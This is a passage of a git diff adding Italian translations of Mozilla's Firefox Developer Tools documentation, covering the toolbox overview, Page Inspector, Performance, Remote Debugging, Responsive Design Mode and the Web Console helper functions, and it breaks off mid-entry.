+<p>Nota: se hai appena iniziato con lo sviluppo Web e l'uso degli strumenti di sviluppo, i nostri documenti sullo sviluppo Web per l'apprendimento ti aiuteranno: vedi Introduzione al Web e Che cosa sono gli strumenti di sviluppo del browser? per ottenere buoni punti di partenza.</p>
+</div>
+
+<h2 id="Gli_strumenti_di_base">Gli strumenti di base</h2>
+
+<p>È possibile aprire gli strumenti di sviluppo di Firefox dal menu selezionando Strumenti &gt; Sviluppo Web &gt; Attiva/disattiva strumenti o utilizzare la scorciatoia  da tastiera <kbd>Ctrl</kbd> + <kbd>Shift</kbd> + <kbd>I</kbd> or <kbd>F12</kbd> in Windows e Linux, o <kbd>Cmd</kbd> + <kbd>Opt</kbd> + <kbd>I</kbd> in macOS.</p>
+
+<p>Il menu con i farlips sul lato destro di Strumenti di sviluppo contiene diversi comandi che consentono di eseguire azioni o modificare le impostazioni dello strumento.</p>
+
+<table class="standard-table" style="height: 178px; width: 840px;">
+ <tbody>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16092/iframe_button.png" style="height: 69px; width: 69px;"></td>
+   <td>Questo bottone appare soltanto quando ci sono iframes multipli in una pagina. Premilo per visualizzare la lista degli iframes nella pagina corrente e seleziona quello con cui vuoi lavorare.</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16088/camera_button.png" style="height: 69px; width: 69px;"></td>
+   <td>Premi questo bottone per ottenere uno screenshot della pagina corrente. (<strong>Nota:</strong> Questa funzionalità non è attiva di default e deve essere abilitata nelle impostazioni prima che venga visualizzata.)</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16089/responsive_button.png" style="height: 69px; width: 69px;"></td>
+   <td>Attiva/disattiva la modalità di progettazione Responsive.</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16090/menu_button.png" style="height: 69px; width: 69px;"></td>
+   <td>Apre il menu che include le opzioni di ancoraggio, la possibilità di mostrare o nascondere la console divisa, e le impostazioni degli strumenti di sviluppo. Il menu include anche collegamenti alla documentazione di Firefox Web Tools e Mozilla Community.</td>
+  </tr>
+  <tr>
+   <td><img alt="" src="https://mdn.mozillademos.org/files/16091/close_button.png" style="height: 69px; width: 69px;"></td>
+   <td>Chiude gli strumenti per sviluppatori</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Page_Inspector">Page Inspector</h3>
+
+<p><a href="/en-US/docs/Tools/Page_Inspector"><img alt="The all-new Inspector panel in Firefox 57." src="https://mdn.mozillademos.org/files/16371/landingPage_PageInspector.png"></a></p>
+
+<p>Osserva e modifica il contenuto e il design della pagina. Visualizza e interagisci con le caratteristiche degli elementi come: box model, animazioni e grid layouts.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Web_Console">Web Console</h3>
+
+<p><a href="/en-US/docs/Tools/Web_Console"><img alt="The all-new Console in Firefox 57." src="https://mdn.mozillademos.org/files/16368/landingPage_Console.png"></a></p>
+
+<p>Guarda i messaggi inviati in console dalla pagina web e comunica con essa utilizzando Javascript.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Debugger">Debugger</h3>
+
+<p><a href="/en-US/docs/Tools/Debugger"><img alt="The all-new Firefox 57 Debugger.html" src="https://mdn.mozillademos.org/files/16369/landingPage_Debugger.png"></a></p>
+
+<p>Stoppa, avanza, esamina e modifica passo a passo il codice Javascript in esecuzione nella pagina.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Network_Monitor">Network Monitor</h3>
+
+<p><a href="/en-US/docs/Tools/Network_Monitor"><img alt="The Network panel in Firefox 57 DevTools." src="https://mdn.mozillademos.org/files/16370/landingPage_Network.png"></a></p>
+
+<p>Visualizza le richieste di rete effettuate quando una pagina viene caricata.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Performance_Tools">Performance Tools</h3>
+
+<p><a href="/en-US/docs/Tools/Performance"><img alt="Performance Tools in Firefox 57 Developer Tools" src="https://mdn.mozillademos.org/files/16372/landingPage_Performance.png"></a></p>
+
+<p>Analizza la reattività generale del sito, le performance di layout e Javascript.</p>
+</div>
+
+<div class="column-half">
+<h3 id="Responsive_Design_Mode">Responsive Design Mode</h3>
+
+<p><a href="/en-US/docs/Tools/Responsive_Design_Mode"><img alt="Responsive Design mode in Firefox 57." src="https://mdn.mozillademos.org/files/16373/landingPage_ResponsiveDesign.png" style="border-style: solid; border-width: 1px; display: block; height: 865px; margin-left: auto; margin-right: auto; width: 425px;"></a></p>
+
+<p>Osserva come il tuo sito web o la tua applicazione apparirebbero su dispositivi e reti differenti.</p>
+</div>
+</div>
+
+<div class="column-container">
+<div class="column-half">
+<h3 id="Accessibility_inspector">Accessibility inspector</h3>
+
+<p><a href="/en-US/docs/Tools/Accessibility_inspector"><img alt="Performance Tools in Firefox 57 Developer Tools" src="https://mdn.mozillademos.org/files/16367/landingPage_Accessibility.png"></a></p>
+
+<p>Fornisce uno strumento di controllo dell'accessibilità del sito da parte di tutti, permettendoti di controllare cosa manca o dove c'è necessità di più attenzione.</p>
+</div>
+
+<div class="column-half"></div>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: The collective term for the UI inside which the DevTools all live is the <a href="/en-US/docs/Tools/Tools_Toolbox">Toolbox</a>.</p>
+</div>
+
+<h2 id="Altri_Strumenti">Altri Strumenti</h2>
+
+<p>Anche questi strumenti sono a disposizione tramite l'analisi della pagina. Diversamente dagli "Strumenti Chiave" descritti sopra, potresti non usarli tutti i giorni.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Memory">Memoria.</a></dt>
+ <dd>Ti permette di capire come viene gestita la memoria nelle varie schede di navigazione.</dd>
+ <dt><a href="/en-US/docs/Tools/Storage_Inspector">Archiviazione</a></dt>
+ <dd>Ispeziona cookies, archiviazione locale, indexedDB, e archiviazione sessioni presenti nella pagina.</dd>
+ <dt><a href="/en-US/docs/Tools/DOM_Property_Viewer">DOM Property Viewer</a></dt>
+ <dd>Ispeziona tutto quello che riguarda il DOM della pagina.</dd>
+ <dt><a href="/en-US/docs/Tools/Eyedropper">Eyedropper</a></dt>
+ <dd>Seleziona un colore dalla pagina.</dd>
+ <dt><a href="/en-US/docs/Tools/Style_Editor">Editor Stili</a></dt>
+ <dd>Visualizza e modifica il CSS and della pagina corrente.</dd>
+ <dt><a href="/en-US/docs/Tools/Screenshot_tool">Cattura Schermata</a></dt>
+ <dd>Ottieni uno screenshot dell'intera pagina o di un singolo elemento.</dd>
+ <dt><a href="/en-US/docs/Tools/Measure_a_portion_of_the_page">Strumento di misurazione</a></dt>
+ <dd>Misura un area della pagina web</dd>
+ <dt><a href="/en-US/docs/Tools/Rulers">Rulers</a></dt>
+ <dd>Sovrascrivi le regole verticali e orizzontali</dd>
+</dl>
+</div>
+
+<div class="column-container">
+<div class="column-third">
+<p><img alt="" src="https://mdn.mozillademos.org/files/15588/logo-developer-quantum.png" style="display: block; margin: 0px auto;"></p>
+
+<p style="text-align: center;">Per gli ultimi strumenti di sviluppo e funzionalità, prova Firefox Developer Edition.</p>
+
+<p><a href="https://www.mozilla.org/en-US/firefox/developer/">Download Firefox Developer Edition</a></p>
+</div>
+
+<div class="column-third"></div>
+</div>
+
+<h2 id="Connecting_the_Developer_Tools">Connecting the Developer Tools</h2>
+
+<p>If you open the developer tools using <a href="/en-US/docs/Tools/Keyboard_shortcuts#Opening_and_closing_tools">keyboard shortcuts</a> or the equivalent menu items, they'll target the document hosted by the currently active tab. But you can attach the tools to a variety of other targets, too, both within the current browser and in different browsers or even different devices.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/Tools/about:debugging">about:debugging</a></dt>
+ <dd>Debug add-ons, content tabs, and workers running in the browser.</dd>
+ <dt><a href="/en-US/docs/Tools/Remote_Debugging/Debugging_Firefox_for_Android_over_Wifi">Connecting to Firefox for Android</a></dt>
+ <dd>Connect the developer tools to an instance of Firefox running on an Android device.</dd>
+ <dt><a href="/en-US/docs/Tools/Working_with_iframes">Connecting to iframes</a></dt>
+ <dd>Connect the developer tools to a specific iframe in the current page.</dd>
+ <dt><a href="/en-US/docs/Tools/Valence">Connecting to other browsers</a></dt>
+ <dd>Connect the developer tools to Chrome on Android and Safari on iOS.</dd>
+</dl>
+</div>
+
+<h2 id="Debugging_the_browser">Debugging the browser</h2>
+
+<p>By default, the developer tools are attached to a web page or web app. But you can also connect them to the browser as a whole. This is useful for browser and add-on development.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Browser_Console">Browser Console</a></dt>
+ <dd>See messages logged by the browser itself and by add-ons, and run JavaScript code in the browser's scope.</dd>
+ <dt><a href="/en-US/docs/Tools/Browser_Toolbox">Browser Toolbox</a></dt>
+ <dd>Attach the Developer Tools to the browser itself.</dd>
+</dl>
+</div>
+
+<h2 id="Extending_the_devtools">Extending the devtools</h2>
+
+<p>For information on extending the Firefox DevTools, see <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Extending_the_developer_tools">Extending the developer tools</a> over in the <a href="/en-US/docs/Mozilla/Add-ons/WebExtensions">Browser Extensions</a> section of MDN.</p>
+
+<h2 id="Migrating_from_Firebug">Migrating from Firebug</h2>
+
+<p>Firebug has come to the end of its lifespan (see <a href="https://hacks.mozilla.org/2016/12/firebug-lives-on-in-firefox-devtools/">Firebug lives on in Firefox DevTools</a> for details of why), and we appreciate that some people will find migrating to another less familiar set of DevTools to be challenging. To ease a transition from Firebug to the Firefox developer tools, we have written a handy guide — <a href="/en-US/docs/Tools/Migrating_from_Firebug">Migrating from Firebug</a>.</p>
+
+<h2 id="Contribute">Contribute</h2>
+
+<p>If you want to help improve the developer tools, these resources will get you started.</p>
+
+<div class="twocolumns">
+<dl>
+ <dt><a href="https://docs.firefox-dev.tools/">Get Involved</a></dt>
+ <dd>Our developer documentation explains how to get involved.</dd>
+ <dt><a href="http://bugs.firefox-dev.tools/">bugs.firefox-dev.tools</a></dt>
+ <dd>A tool helping to find bugs to work on.</dd>
+</dl>
+</div>
diff --git a/files/it/tools/page_inspector/index.html b/files/it/tools/page_inspector/index.html
new file mode 100644
index 0000000000..56133a05a0
--- /dev/null
+++ b/files/it/tools/page_inspector/index.html
@@ -0,0 +1,48 @@
+---
+title: Page Inspector
+slug: Tools/Page_Inspector
+translation_of: Tools/Page_Inspector
+---
+<p><span style="line-height: 1.5;">Usa Page Inspector per esaminare e modificare il codice HTML e CSS della pagina.</span></p>
+
+<p>Puoi esaminare pagine caricate in una copia locale di Firefox o in remoto, come su devices Firefox OS o Firefox per Android. Guarda la guida sul <a href="https://developer.mozilla.org/en-US/docs/Tools/Remote_Debugging">debugging remoto</a> per imparare a connettere gli strumenti di sviluppo ad un dispositivo remoto.</p>
+
+<hr>
+<h2 id="Interfaccia_Utente">Interfaccia Utente</h2>
+
+<p>To find your way around the Inspector, here's a <a href="/en-US/docs/Tools/Page_Inspector/UI_Tour">quick tour of the UI</a>.</p>
+
+<hr>
+<h2 id="How_to">How to</h2>
+
+<p>To find out what you can do with the Inspector, see the following how to guides:</p>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Open_the_Inspector">Open the Inspector</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_HTML">Examine and edit HTML</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_the_box_model">Examine and edit the box model</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Inspect_and_select_colors">Inspect and select colors</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Reposition_elements_in_the_page">Reposition elements in the page</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_fonts">View fonts</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Visualize_transforms">Visualize transforms</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_API">Use the Inspector API</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Select_an_element">Select an element</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_and_edit_CSS">Examine and edit CSS</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_event_listeners">Examine event listeners</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Work_with_animations">Work with animations</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Edit_CSS_filters">Edit CSS filters</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/View_background_images">View background images</a></li>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/How_to/Use_the_Inspector_from_the_Web_Console">Use the Inspector from the Web Console</a></li>
+</ul>
+</div>
+
+<hr>
+<h2 id="Reference">Reference</h2>
+
+<div class="twocolumns">
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector/Keyboard_shortcuts">Keyboard shortcuts </a></li>
+ <li><a href="/en-US/docs/Tools/Tools_Toolbox#Inspector">Settings</a></li>
+</ul>
+</div>
diff --git a/files/it/tools/prestazioni/index.html b/files/it/tools/prestazioni/index.html
new file mode 100644
index 0000000000..30117d7c02
--- /dev/null
+++ b/files/it/tools/prestazioni/index.html
@@ -0,0 +1,91 @@
+---
+title: Prestazioni
+slug: Tools/Prestazioni
+translation_of: Tools/Performance
+---
+<p>Lo strumento per l'analisi delle prestazioni ti fornisce una panoramica della risposta generale del tuo sito, della prestazione del layout e del Javascript. Con lo strumento per l'analisi delle prestazioni crei una registrazione, o tracci un profilo, del tuo sito in un periodo di tempo. Lo strumento ti mostra poi un <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/UI_Tour#Waterfall_overview">resoconto</a> delle cose che il tuo browser stava facendo al fine di rappresentare il tuo sito nel profilo, ed un grafico del frame rate nel profilo.</p>
+
+<p>Hai a disposizione tre sotto-strumenti per esaminare gli aspetti del profilo più dettagliatamente:</p>
+
+<ul>
+ <li>la <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Waterfall">cascata</a> mostra le differenti operazioni di cui si occupava il browser, come l'esecuzione del layout, Javascript, ricolorazione, e la <em>garbage collection</em></li>
+ <li>l' <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Call_Tree">albero delle chiamate</a> mostra le funzioni Javascript nelle quali il browser spende la maggior parte del tempo</li>
+ <li>il <a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Flame_Chart">grafico a fiamma</a> mostra le chiamate Javascript memorizzate lungo il corso della registrazione.</li>
+</ul>
+
+<p>{{EmbedYouTube("WBmttwfA_k8")}}</p>
+
+<hr>
+<h2 id="Per_cominciare">Per cominciare</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/UI_Tour">UI Tour</a></dt>
+ <dd>
+ <p>Per orientarti nell' uso dello strumento d'analisi delle prestazioni, ecco un breve tour della UI.</p>
+ </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/How_to">How to</a></dt>
+ <dd>Operazioni basilari: apri lo strumetno, crea, salva, carica e configura le registrazioni</dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Componenti_dello_strumento_per_l'_analisi_delle_prestazioni">Componenti dello strumento per l' analisi delle prestazioni</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Frame_rate">Frame rate</a></dt>
+ <dd>Comprendi la risposta generale del tuo sito</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Call_Tree">Albero delle chiamate</a></dt>
+ <dd>Trova gli intoppi nel Javascript del tuo sito.</dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Waterfall">Cascata</a></dt>
+ <dd>Comprendi il lavoro che sta svolgendo il browser quando l' utente interagisce con il tuo sito.</dd>
+ <dt><a href="/en-US/docs/Tools/Performance/Flame_Chart">Grafico a fiamma</a></dt>
+ <dd>Controlla quali funzioni Javascript sono in esecuzione ed in che momento, durante la registrazione.</dd>
+ <dd> </dd>
+</dl>
+</div>
+</div>
+
+<hr>
+<h2 id="Scenari">Scenari</h2>
+
+<div class="column-container">
+<div class="column-half">
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Scenarios/Animating_CSS_properties">Animazione delle proprietà CSS</a></dt>
+ <dd>Usa la cascata per capire in che modo il browser aggiorna una pagina e come l' animazione di differenti proprietà CSS può intaccare le prestazioni.</dd>
+ <dd> </dd>
+</dl>
+</div>
+
+<div class="column-half">
+<dl>
+ <dt><a href="/en-US/docs/Tools/Performance/Scenarios/Intensive_JavaScript">Javascript intensivo</a></dt>
+ <dd>Usa gli strumenti Frame rate e Cascata  per evidenziare problemi di prestazione dovuti ad un Javascript particolarmente pesante e come l'utilizzo dei <em>worker</em> può essere d' aiuto.</dd>
+</dl>
+</div>
+</div>
+
+<p> </p>
+
+<div class="column-half">
+<dl>
+ <dd> </dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/it/tools/remote_debugging/index.html b/files/it/tools/remote_debugging/index.html
new file mode 100644
index 0000000000..dfee871612
--- /dev/null
+++ b/files/it/tools/remote_debugging/index.html
@@ -0,0 +1,47 @@
+---
+title: Remote Debugging
+slug: Tools/Remote_Debugging
+translation_of: Tools/Remote_Debugging
+---
+<p>Puoi usare gli strumenti di sviluppo Firefox sul tuo computer per migliorare siti Web o applicazioni Web che funzionano con altri browser o con altre modalità di esecuzione. Gli altri browser potrebbero essere sullo stesso dispositivo come gli strumenti di sviluppo stessi o su un altro dispositivo, come un telefono cellulare collegato con una porta USB.</p>
+
+<p>Le istruzioni dettagliate per connettere gli strumenti di sviluppo sono specificate nelle seguenti spiegazioni.</p>
+
+<p>Modalità Gecko-based</p>
+
+<p>Per prima cosa, puoi connettere gli strumenti di sviluppo alla modalità Gecco-base a piacere con Firefox Desktop, Firefox per Android, Firefox OS e Thunderbird.</p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<p>Per fare questo puoi usare Firefox per aggiungere <a href="/en-US/docs/Toolbox" title="/en-US/docs/Toolbox">il Toolbox</a> nel preocesso remoto, e il Toolbox verrà eseguito nella tua finestra. In questo momento il tools implementa le seguenti funzioni da remoto:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Tools/Page_Inspector">Page Inspector</a></li>
+ <li><a href="/en-US/docs/Tools/Debugger" title="/en-US/docs/Tools/Debugger">JavaScript Debugger</a></li>
+ <li><a href="/en-US/docs/Tools/Style_Editor" title="/en-US/docs/Tools/Style_Editor">Style Editor</a></li>
+ <li><a href="/en-US/docs/Tools/Web_Console" title="/en-US/docs/Tools/Web_Console">Web Console</a></li>
+ <li><a href="/en-US/docs/Tools/Profiler" title="/en-US/docs/Tools/Profiler">Profiler</a></li>
+ <li><a href="/en-US/docs/Tools/Network_Monitor" title="/en-US/docs/Tools/Network_Monitor">Network Monitor</a></li>
+</ul>
+
+<h2 id="Firefox_per_Android">Firefox per Android</h2>
+
+<p><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Android">Remotely debugging Firefox for Android</a> spiega come collegare Firefox, tramite USB, su un dispositivo Android.</p>
+
+<h2 id="Firefox_per_Metro">Firefox per Metro</h2>
+
+<p><a href="/en-US/docs/Tools/Remote_Debugging/Firefox_for_Metro">Remotely debugging Firefox for Metro</a> spiega come usare Firefox per provare il codice in esecuzione su Windows 8 (Metro-style) Firefox.</p>
+
+<h2 id="Firefox_OS">Firefox OS</h2>
+
+<p><a href="/en-US/Firefox_OS/Using_the_App_Manager">Using the App Manager</a> spiega come collegare Firefox developer tools a Firefox OS simulator o a Firefox OS device.</p>
+
+<h2 id="Thunderbird">Thunderbird</h2>
+
+<p><a href="/en-US/docs/Tools/Remote_Debugging/Thunderbird">Remotely debugging Thunderbird</a> spiega come Firefox eThunderbird possono essere usati per provare il codice in esecuzione su Thunderbird.</p>
diff --git a/files/it/tools/visualizzazione_flessibile/index.html b/files/it/tools/visualizzazione_flessibile/index.html
new file mode 100644
index 0000000000..09fd2cb08c
--- /dev/null
+++ b/files/it/tools/visualizzazione_flessibile/index.html
@@ -0,0 +1,79 @@
+---
+title: Visualizzazione Flessibile
+slug: Tools/Visualizzazione_Flessibile
+tags:
+  - Design
+  - Firefox
+  - Guida
+  - Mobile
+  - Strumenti
+  - Sviluppo
+  - Sviluppo Web
+  - responsive
+translation_of: Tools/Responsive_Design_Mode
+---
+<p><a href="/it-IT/docs/Web_Development/Responsive_Web_design">Le interfacce web responsive</a> si adattano a diverse dimensioni di schermo permettendo una presentazione fruibile su dispositivi di tipo diverso, come smartphone o tablet. La <strong>Visualizzazione Flessibile </strong>permette di visionare facilmente come il proprio sito o applicazione web risulterà su schermi di diverse dimensioni.</p>
+
+<p>La schermata seguente mostra il contenuto di una pagina Wikipedia in versione mobile simulando uno schermo della dimensione di 320x480 pixel.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12738/responsive-design-mode.png" style="height: 788px; width: 735px;"></p>
+
+<p>La <strong>Visualizzazione flessibile </strong>risulta conveniente perché permette di ridimensionare l'area del contenuto velocemente e con precisione.</p>
+
+<p>Naturalmente potrebbe essere sufficiente soltanto ridimensionare la finestra del browser ma questo comporterebbe il ridimensionamento in piccolo anche delle altre schede in fase di navigazione, rendendo il browser più difficile da usare.</p>
+
+<p>Mentre è attiva la <strong>Visualizzazione flessibile </strong>su una particolare scheda, è comunque possibile continuare a navigare normalmente i contenuti delle altre schede.</p>
+
+<h2 id="Attivazione_e_disattivazione">Attivazione e disattivazione</h2>
+
+<p>Ci sono tre modi per attivare la Visualizzazione flessibile:</p>
+
+<ul>
+ <li>Selezionare la voce "Visualizzazione flessibile" dal sottomenu "Sviluppo Web" nel menu di Firefox. (oppure menu Strumenti se è attivata la barra menu o si usa il sistema operativo OSX)</li>
+ <li>Premere il pulsante "Visualizzazione flessibile nella <a href="/it-IT/docs/Tools_Toolbox#Toolbar" title="/en-US/docs/Tools_Toolbox#Toolbar">Toolbar Strumenti di sviluppo</a></li>
+ <li>Premere Ctrl + Shift + M, (oppure Comandi + Opzioni + M su OSX)</li>
+</ul>
+
+<p>e ci sono anche tre modi per disattivare la Visualizzazione flessibile:</p>
+
+<ul>
+ <li>Selezionare nuovamente la voce di menu "Visualizzazione flessibile".</li>
+ <li>Cliccare il pulsante "chiudi" posizionato nell'angolo in alto a sinistra della finestra.</li>
+ <li>Premere nuovamente Ctrl + Shift + M, (oppure Comandi + Opzioni + M su OSX). Prima di Firefox 34, funzionava anche il tasto escape.</li>
+</ul>
+
+<h2 id="Ridimensionamento">Ridimensionamento</h2>
+
+<p>Si può ridimensionare l'area del contenuto in due modi:</p>
+
+<ul>
+ <li>Usando il controllo <a href="#select-size">"Seleziona dimensione"</a></li>
+ <li>Cliccando e trascinando le barre di controllo a destra e in basso l'area del contenuto, oppure trascinando l'angolo in basso a destra</li>
+</ul>
+
+<p>Decidendo di ridimensionare tramite click e trascina, tenendo premuto il tasto CTRL (Command su OSX) è possibile rallentare la velocità di ridimensionamento al fine aumentare la precisione per scegliere la dimensione giusta.</p>
+
+<div style="overflow: hidden;">
+<h2 id="Controlli_della_modalità_Visualizzazione_flessibile">Controlli della modalità Visualizzazione flessibile</h2>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12736/responsive-design-mode-controls.png" style="display: block; margin-left: auto; margin-right: auto;"></p>
+
+<p>Lungo la parte alta della finestra in modalità "Visualizzazione flessibile" ci sono cinque controlli:</p>
+
+<dl>
+ <dt>Chiudi</dt>
+ <dd>Termina la modalità "Visualizzazione flessibile" e ritorna alla navigazione normale.</dd>
+ <dt>Selezione dimensione</dt>
+ <dd>Permette di scegliere un numero preimpostato di combinazioni larghezza x altezza, oppure di definirne una personalizzata.</dd>
+ <dt>Orientamento</dt>
+ <dd>Alterna l'orientamento verticale ed orizzontale simulando il cambio di orientamento del dispositivo.</dd>
+ <dt>Simula gli eventi touch</dt>
+ <dd>Attiva/disattiva la simulazione degli eventi touch: quando la simulazione è attivata, gli eventi del mouse vengono tradotti in<a href="/en-US/docs/Web/Guide/API/DOM/Events/Touch_events"> eventi touch</a>.</dd>
+ <dt>Screenshot</dt>
+ <dd>Cattura la schermata dell'area. Il salvataggio avviene nella posizione in cui vengono salvati anche gli altri Download.</dd>
+ <dt>User Agent personalizzato</dt>
+ <dd><em>Novità da Firefox 47</em>. Immettere una stringa che corrisponde al nome di un User Agent. L'area risulta evidenziata e le richieste verranno effettuate utilizzando la stringa User Agent impostata. Questo è utile quando i siti restituiscono diversi contenuti in base al riconoscimento per mezzo di <a href="/en-US/docs/Browser_detection_using_the_user_agent">UA sniffing</a>. Per tornare alla normalità è sufficiente svuotare il campo di testo.</dd>
+</dl>
+</div>
+
+<p> </p>
diff --git a/files/it/tools/web_console/helpers/index.html b/files/it/tools/web_console/helpers/index.html
new file mode 100644
index 0000000000..d64e42e6ec
--- /dev/null
+++ b/files/it/tools/web_console/helpers/index.html
@@ -0,0 +1,79 @@
+---
+title: Web Console Helpers
+slug: Tools/Web_Console/Helpers
+translation_of: Tools/Web_Console/Helpers
+---
+<h2 id="I_comandi"><strong>I comandi</strong></h2>
+
+<p>la riga di comando JavaScript fornito dalla console web offre alcune funzioni di supporto built-in che rendono più semplici determinate attivita</p>
+
+<dl>
+ <dt id="$"><code>$()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Sembra</span> <span>una stringa</span> <span>selettore CSS</span><span>, restituendo il</span> <span>primo elemento</span> <span>che corrisponde</span><span>.</span> <span>Equivalente a</span> <span>{</span><span>{</span><span>domxref</span> <span>(</span><span>"</span><span>document.querySelector</span> <span>(</span><span>)")</span><span>}</span><span>}</span> <span>o</span> <span>chiama la funzione</span> <span>$</span> <span>nella pagina</span><span>,</span> <span>se esiste</span></span></dd>
+ <dt id="$$"><code>$$()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Sembra</span> <span>una stringa</span> <span>selettore CSS</span><span>,</span> <span>restituendo</span> <span>una serie di</span> <span>nodi DOM</span> <span>quella partita</span><span>.</span> <span>Questo è come</span> <span>per {</span><span>{</span><span>domxref</span> <span>(</span><span>"</span><span>document.querySelectorAll</span> <span>(</span><span>)</span><span>"</span><span>)</span><span>}</span><span>}</span><span>,</span> <span>ma</span> <span>restituisce un array</span> <span>invece di un</span> <span>{</span><span>{</span><span>domxref</span> <span>(</span><span>"</span><span>NodeList</span><span>"</span><span>)</span><span>}</span><span>}</span><span>.</span></span></dd>
+ <dt id="$0"><code>$0</code></dt>
+ <dd><span class="short_text" id="result_box" lang="it"><span>L'elemento</span> <span>attualmente</span> <span>ispezionato</span> <span>nella pagina</span><span>.</span></span></dd>
+ <dt id="$_"><code>$_</code></dt>
+ <dd><span id="result_box" lang="it"><span>Memorizza il risultato</span> <span>dell'ultima espressione</span> <span>eseguito</span> <span>nella linea di comando</span> <span>console</span><span>.</span> <span>Ad</span> <span>esempio,</span> <span>se si digita</span> <span>"</span><span>2</span> <span>+</span> <span>2</span> <span>&lt;Enter</span><span>&gt;</span><span>"</span><span>,</span> <span>quindi</span> <span>"$</span> <span>_</span> <span>&lt;invio</span><span>&gt;</span><span>"</span><span>, la console</span> <span>stampare</span> <span>4</span><span>.</span></span></dd>
+ <dt id="$x"><code>$x()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Valuta un'espressione</span> <span>XPath</span> <span>e restituisce</span> <span>un array di nodi</span> <span>corrispondenti</span><span>.</span></span></dd>
+ <dt id="keys"><code>keys()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Dato un</span> <span>oggetto</span><span>,</span> <span>restituisce</span> <span>un elenco</span> <span>dei tasti</span> <span>(</span><span>o nomi</span> <span>di proprietà)</span> <span>su tale oggetto</span><span>.</span> <span>Questa</span> <span>è una scorciatoia per</span> <span>Object.keys</span><span>.</span></span></dd>
+ <dt id="values"><code>values()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Dato un</span> <span>oggetto</span><span>,</span> <span>restituisce una lista</span> <span>dei</span> <span>valori</span> <span>di</span> <span>tale oggetto</span><span>;</span> <span>serve come</span> <span>un compagno di</span> <span>chiavi</span> <span>(</span><span>)</span><span>.</span></span></dd>
+ <dt id="clear"><code>clear()</code></dt>
+ <dd><span class="short_text" id="result_box" lang="it"><span>Cancella l'</span><span>area di uscita</span> <span>della console</span><span>.</span></span></dd>
+ <dt id="inspect"><code>inspect()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Dato un</span> <span>oggetto</span><span>,</span> <span>si apre</span> <span>la finestra di ispezione</span> <span>oggetto per</span> <span>quell'oggetto</span><span>.</span></span></dd>
+ <dt id="pprint"><code>pprint()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Formatta il</span> <span>valore specificato</span> <span>in modo</span> <span>leggibile</span><span>;</span> <span>questo è utile</span> <span>per lo scarico</span> <span>del contenuto di</span> <span>oggetti</span> <span>e array</span><span>.</span></span></dd>
+ <dt id="help"><code>help()</code></dt>
+ <dd><span id="result_box" lang="it"><span>Visualizza la guida</span> <span>del testo</span><span>.</span> <span>In realtà</span><span>,</span> <span>in un delizioso</span> <span>esempio di</span> <span>ricorsione</span><span>,</span> <span>che</span> <span>vi porterà a</span> <span>questa pagina.</span></span></dd>
+ <dt id="cd"><code>cd()</code></dt>
+ <dd>
